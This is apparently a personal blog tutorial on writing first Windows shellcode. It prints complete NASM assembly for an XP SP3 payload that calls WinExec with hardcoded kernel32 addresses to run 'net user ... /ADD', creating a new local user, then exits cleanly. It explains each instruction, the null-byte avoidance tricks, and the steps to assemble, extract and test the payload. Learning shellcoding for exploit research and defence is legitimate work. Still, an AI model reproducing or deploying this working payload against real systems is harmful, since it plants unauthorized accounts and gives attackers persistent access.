My first shellcode was in two registers, The adduser shellcode!
I always tried to learn to write simple shellcode in assembly language. But writing the shellcode was not my first interest , my interest was Exploit writing. I had to learn to understand assembly language for various reason such as Understanding how computer works, Effectively use of Debugger, Exploit writing,fun etc. So i searched on Google a lots "Writing shellcode" , Fortunately I found some amazing tutorials(Reference!). I will explain each line of my first shellcode below. Before that i want to tell that what tools i used to write this shellcode:
1. Nasm: www.nasm.us
2. arwin: http://www.vividmachines.com/shellcode/arwin.c
3. xxd-shellcode: http://www.projectshellcode.com/downloads/xxd-shellcode.sh
4. shellcode-test: http://www.vividmachines.com/shellcode/shellcodetest.c
The shellcode:
;add user shellcode. Only will work on windows xp3. Written by pusheax.com
[BITS 32]
global _start
section .text
_start:
jmp short command
function: ;Label
;WinExec("Command to execute",NULL)
pop ecx
xor eax,eax
push eax
push ecx
mov eax,0x7c8623ad
call eax
xor eax,eax
push eax
mov eax,0x7c81cafa
call eax
command: ;Label
call function
db "cmd.exe /c net user pusheax popebp /ADD"
db 0x00
So let me explain each line
[BITS 32] : Tell the nasm the code is for 32bit.
global _start : Declare main starting label .
section .text : Declare the code section.
jmp short command: jmp instruction used for jumping to another label call "command" . "Call" instruction is not possible because "call" will save then next instruction to stack to get back to next instruction. This is really a common trick when writing shellcode. So it is telling to jump to "command" label and keep no return address in stack.
So now we are in label "command" and it holds following instructions:-
call function : Calling "function" label and saving the next address(whatever) in stack for return purpose . The Next instruction is simple system command:
db "cmd.exe /c net user pusheax popebp /ADD"
So whatever , we are in label "function"
There is a simple windows API we need call is WinExec(), http://msdn.microsoft.com/en-us/library/windows/desktop/ms687393%28v=vs.85%29.aspx . It only requires two parameter.
pop ecx : Take the current return address into ecx and remove the address from stack.
xor eax,eax : cleaning the eax register to 0. We can directly push 0 to stack but clearly it will issue null bytes. So most shellcoder does xor.
push eax : pushing 0 to stack. Since Stack is LIFO so it will be the last parameters.
push ecx : Do you remember that we have popped an address into ecx ? ecx actually holding "cmd.exe /c net user pusheax popebp /ADD" . So we need to push this string to stack for WinExec() first parameter. Currently stack holds: WinExec("cmd.exe /c net user pusheax popebp /ADD",NULL).
mov eax,0x7c8623ad : 0x7c8623ad is address of WInExec(). Moving this address into eax . I found this address using arwin.exe ( ./arwin.exe Kernel32.dll WinExec ).
call eax : eax=WinExec(). So it is executing the API function.
xor eax,eax: clean eax register. Because we are going to terminate the current process soon. We are going to call ExitProcess() function to exit the current process. otherwise shellcode may get corrupted. You may see it on Debugger.
push eax: Same as above we are pushing the last parameters to stack.
mov eax,0x7c81cafa : Same as above i used arwin to find the address of ExitProcess() function.
call eax: eax=ExitProcess's address. Calling eax will execute the function.
Test
1. nasm -f bin -o shellcode.bin
2. ./xxd-shellcode.sh shellcode.bin
3. paste into the shellcode-test.c:
4. compile with mingw and execute then check the new user name :).
Reference:
https://www.corelan.be/index.php/2010/02/25/exploit-writing-tutorial-part-9-introduction-to-win32-shellcoding/
http://projectshellcode.com/node/20